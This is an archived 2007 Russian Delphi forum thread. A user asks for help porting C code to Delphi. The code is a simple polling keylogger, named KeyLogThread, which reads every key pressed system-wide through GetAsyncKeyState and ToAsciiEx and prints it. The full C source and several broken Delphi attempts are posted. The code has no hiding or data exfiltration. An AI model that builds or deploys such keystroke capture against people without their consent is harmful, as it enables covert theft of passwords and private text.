Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2007.11.11;
Скачать: CL | DM;

Вниз

Перевод Си -> Паскаль...   Найти похожие ветки 

 
DelphiCoder   (2007-10-18 13:26) [0]

Доброго времени суток...
Помогите пожайлуста перевести код с Си на дельфи...

#define KEY_PRESSED(i) ((DWORD)( ((DWORD)GetAsyncKeyState(i))&0x8001) == 0x8001)
#define KEY_TOGGLED(i) ((DWORD)( ((DWORD)GetAsyncKeyState(i))&0x8001) == 0x8000)

{
HKL   cLayoutRemote;
UCHAR KeyState[256];
DWORD dwDelay,dwCh;

SystemParametersInfo(SPI_GETKEYBOARDSPEED,0,&dwDelay,0);
for(;;)
{
 cLayoutRemote = (HKL)((DWORD)GetKeyboardLayout(
  GetWindowThreadProcessId(GetForegroundWindow(),NULL))&0xFFFF);

 //~ !!! IMPORTANT!!! Must call GetKeyState(VK_CAPITAL) first.
 //~ If not CASE of char will be invalid.
 
 GetKeyState(VK_CAPITAL);
 GetKeyboardState(KeyState);
 
 for (UCHAR i = 0x00;i < 0xFF;i++)
 {
  if(KEY_PRESSED(i) && (ToAsciiEx(i,MapVirtualKeyEx(i,0,cLayoutRemote),KeyState,(WORD*)&dwCh,0,cLayoutR emote)) )
  {
    CharToOem((char*)&dwCh,(char*)&dwCh);
    printf("%02x - %c\n",i,dwCh);
  }
 }
 Sleep(dwDelay/4);
}
return(0);
}


 
DelphiCoder   (2007-10-18 13:27) [1]

У меня пока получилось только так:
var
 dwCh: TStr;
 dwDelay, i: Dword;
 cLayoutRemote: Hkl;
 KeyState: TKeyboardState;
begin
 SystemParametersInfo(SPI_GETKEYBOARDSPEED, 0, @dwDelay, 0);
 while true do
 begin
   cLayoutRemote := GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil));
   GetKeyState(VK_CAPITAL);
   GetKeyboardState(KeyState);
   for i := 0 to 255 do
   begin
     if GetAsyncKeyState(KeyState[i]) <> 0 then
        ToAsciiEx(i,
                  MapVirtualKeyEx(i, 0, cLayoutRemote),
                  KeyState,
                  dwCh,
                  0,
                  cLayoutRemote);
       if dwCh <> "" then MessageBox(0, dwCh, "", 0);
   end;
   Sleep(dwDelay);
 end;
end;


 
Jeer ©   (2007-10-18 16:34) [2]

Главное, что получилось.


 
DevilDevil ©   (2007-10-18 16:57) [3]

Может так проще будет...

function KEY_PRESSED(Key : DWORD) : boolean;
begin
   Result := (GetAsyncKeyState(Key) and  $8001) = 8001;
end;

function KEY_TOGGLED(Key : DWORD) : boolean;
begin
   Result := (GetAsyncKeyState(Key) and  $8001) = 8000;
end;


 
DelphiCoder   (2007-10-18 18:28) [4]

Пробую сделать так:
type
 TStr = array [Byte] of Char;

function KEY_PRESSED(Key : DWORD) : boolean;
begin
  Result := (GetAsyncKeyState(Key) and  $8001) = 8001;
end;

procedure KeyLogThread;
var
 dwCh: TStr;
 dwDelay, i: Dword;
 cLayoutRemote: Hkl;
 KeyState: TKeyboardState;
begin
 SystemParametersInfo(SPI_GETKEYBOARDSPEED, 0, @dwDelay, 0);
 while true do
 begin
   cLayoutRemote := GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil));
   GetKeyState(VK_CAPITAL);
   GetKeyboardState(KeyState);
   for i := 0 to 255 do
   begin
     if KEY_PRESSED(i) then
     begin                          
       ToAsciiEx(i,
                 MapVirtualKeyEx(i, 0, cLayoutRemote),
                 KeyState,
                 dwCh,
                 0,
                 cLayoutRemote);
       MessageBox(0, dwCh, "", 0);
     end;
   end;
   Sleep(dwDelay div 4);
 end;
end;

var
 Mes: Msg;
begin                                              
 PostMessage(0, WM_NULL, 0, 0);
GetMessage(Mes, 0, 0, 0);
 KeyLogThread;
end.

Не работает =(

Вот полный рабочий исходник в си:
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#pragma hdrstop
//-----------------------------------------------------------------------------
//~ 0x8001 equ toggled or pressed
#define KEY_PRESSED(i) ((DWORD)( ((DWORD)GetAsyncKeyState(i))&0x8001) == 0x8001)
#define KEY_TOGGLED(i) ((DWORD)( ((DWORD)GetAsyncKeyState(i))&0x8001) == 0x8000)
//-----------------------------------------------------------------------------
int printf(char *f, ...)
{
char s[1024];
va_list a;
unsigned long l;

va_start(a,f);
WriteFile((HANDLE)STD_OUTPUT_HANDLE,s,wvsprintf(s,f,a),&l,NULL);
va_end(a);
return(l);
}
//-----------------------------------------------------------------------------
int KeyLogThread()
{
HKL   cLayoutRemote;
UCHAR KeyState[256];
DWORD dwDelay,dwCh;

SystemParametersInfo(SPI_GETKEYBOARDSPEED,0,&dwDelay,0);
for(;;)
{
 cLayoutRemote = (HKL)((DWORD)GetKeyboardLayout(
  GetWindowThreadProcessId(GetForegroundWindow(),NULL))&0xFFFF);

 //~ !!! IMPORTANT!!! Must call GetKeyState(VK_CAPITAL) first.
 //~ If not CASE of char will be invalid.
 
 GetKeyState(VK_CAPITAL);
 GetKeyboardState(KeyState);
 
 for (UCHAR i = 0x00;i < 0xFF;i++)
 {
  if(KEY_PRESSED(i) && (ToAsciiEx(i,MapVirtualKeyEx(i,0,cLayoutRemote),KeyState,(WORD*)&dwCh,0,cLayoutR emote)) )
  {
    CharToOem((char*)&dwCh,(char*)&dwCh);
    printf("%02x - %c\n",i,dwCh);
  }
 }
 Sleep(dwDelay/4);
}
return(0);
}
//-----------------------------------------------------------------------------
int main()
{
//~ to avoid freezing
MSG msg;
PostMessage(NULL,WM_NULL,0,0);
GetMessage(&msg,NULL,0,0);

return(KeyLogThread());
}
//-----------------------------------------------------------------------------


 
DelphiCoder   (2007-10-18 18:55) [5]

Из этого кода меня интересует только преобразование кода символа в сам символ.


 
DelphiCoder   (2007-10-18 19:01) [6]

Делаю так:
     cLayoutRemote := GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil) or $FFFF);
     GetKeyState(VK_CAPITAL);
     GetKeyboardState(KeyState);
     i := lpMsg.wParam;
     ToAsciiEx(i,
               MapVirtualKeyEx(i, 0, cLayoutRemote),
               KeyState,
               szBuf,
               0,
               cLayoutRemote);

Не работает так, как нужно подскажите плиз где ошибка =(



Страницы: 1 вся ветка

Текущий архив: 2007.11.11;
Скачать: CL | DM;

Наверх




Память: 0.49 MB
Время: 0.022 c
4-1178292742
I-New
2007-05-04 19:32
2007.11.11
GDI+


9-1162993242
dfsfwe
2006-11-08 16:40
2007.11.11
DelphiX


2-1192536340
Kolan
2007-10-16 16:05
2007.11.11
Variant := := StrToInt( 1 ) приводит к исключению, почему?


2-1193040297
ruma
2007-10-22 12:04
2007.11.11
TStringGrid. Как удержать фокус на ячейке таблицы?


2-1192606570
031178
2007-10-17 11:36
2007.11.11
файлы